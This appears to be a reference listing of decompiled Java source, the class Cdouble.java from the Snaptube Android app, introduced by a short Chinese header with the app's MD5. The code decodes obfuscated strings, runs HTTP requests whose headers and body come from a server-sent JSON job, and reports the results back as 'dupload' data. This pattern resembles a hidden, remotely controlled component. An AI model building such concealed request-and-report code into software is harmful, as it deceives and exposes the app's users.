Snaptube v4.40.0.4401610版本的 MD5 值为:ca2b95dcff63007195db02a6c93091b9
以下内容为反编译后的 Cdouble.java 源代码,内容仅作参考
package com.mobi.p000do;
import android.util.Log;
import com.mobi.sdk.Cnative;
import java.util.HashMap;
import java.util.Iterator;
import org.json.JSONObject;
public class Cdouble extends Cthis {
public Cdouble(String str) {
super(str);
}
@Override
void mo8191do(JSONObject jSONObject) {
String str;
String str2;
JSONObject optJSONObject = jSONObject.optJSONObject("datainfo");
if (optJSONObject != null) {
String optString = jSONObject.optString("dataid");
String optString2 = jSONObject.optString("dataType");
String m8801do = Cnative.m8801do(new byte[]{111, 116, 89, 105, 87, 85, 49, 79, 72, 88, 61, 61});
String m8801do2 = Cnative.m8801do(new byte[]{101, 55, 51, 105, 87, 116, 100, 75});
String m8801do3 = Cnative.m8801do(new byte[]{113, 102, 51, 103, 87, 55, 122, 77, 114, 116, 73, 61});
if (m8801do.equals(optString2)) {
str = Celse.f8504char;
str2 = m8801do + m8801do2;
} else if (Cnative.m8801do(new byte[]{113, 55, 51, 75, 114, 116, 122, 69}).equals(optString2)) {
str = Celse.f8507else;
str2 = m8801do3 + m8801do2;
} else {
return;
}
JSONObject jSONObject2 = new JSONObject(optJSONObject.optString("head"));
Iterator<String> keys = jSONObject2.keys();
HashMap hashMap = new HashMap();
while (keys.hasNext()) {
String next = keys.next();
hashMap.put(next, jSONObject2.optString(next));
}
hashMap.put("body", optJSONObject.optString("body"));
new Cbyte(hashMap, Cimport.m8199do(this, m8801do3, m8801do2, str2, m8801do, jSONObject, optString, str)).run();
}
}
public void m8190do(String str, String str2, String str3, String str4, JSONObject jSONObject, String str5, String str6, CharSequence charSequence) {
String charSequence2 = charSequence.toString();
Log.d("Sdata", "jobj: data:::" + charSequence2);
Clong clong = new Clong();
String substring = charSequence2.substring(0, 3);
if ((str + str2).equals(str3)) {
if (substring.equals("200")) {
substring = "1";
} else {
substring = "0";
}
} else if (!(str4 + str2).equals(str3)) {
substring = "";
}
clong.put(str3, substring);
try {
new Cdo(new Ctry("S" + substring + str3 + this.f8537do, "dupload&C=" + str5 + "&info=" + charSequence2, jSONObject.optString(Cnative.m8801do(new byte[]{72, 77, 107, 55, 107, 97, 70, 82, 111, 116, 108, 61})) + ":" + jSONObject.optString("appid")));
} catch (Exception e) {
e.printStackTrace();
}
clong.put(Cnative.m8801do(new byte[]{114, 77, 100, 106, 114, 77, 119, 70, 107, 88, 61, 61}), str5);
clong.put("info", charSequence2);
new Cdo(new Ctry(str6, Cshort.m8211do((Object) clong).toString()));
}
}